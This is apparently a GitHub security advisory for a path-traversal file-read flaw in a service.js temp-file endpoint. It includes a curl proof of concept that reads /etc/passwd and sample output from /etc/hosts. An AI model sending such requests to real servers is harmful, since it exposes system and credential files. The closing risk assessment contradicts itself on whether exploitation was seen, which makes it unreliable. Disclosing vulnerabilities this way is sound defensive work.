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GHSA-3vfr-4gwf-qxfp
whistleThis bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.
Vulnerability detail:
In service.js, inside
app.get('/cgi-bin/temp/get', ...): var filename = req.query.filename; if (TEMP_FILE_RE.test(filename)) { filename = path.join(TEMP_FILES_PATH, filename); } getFile(filename, ...);
Only when filename matches the temp/<hash> pattern does it get joined to the safe directory TEMP_FILES_PATH.
If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.
In other words: if you pass passwd, it will read passwd.
POC: curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd"
response:
xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts"
{"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1 localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1 proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}%
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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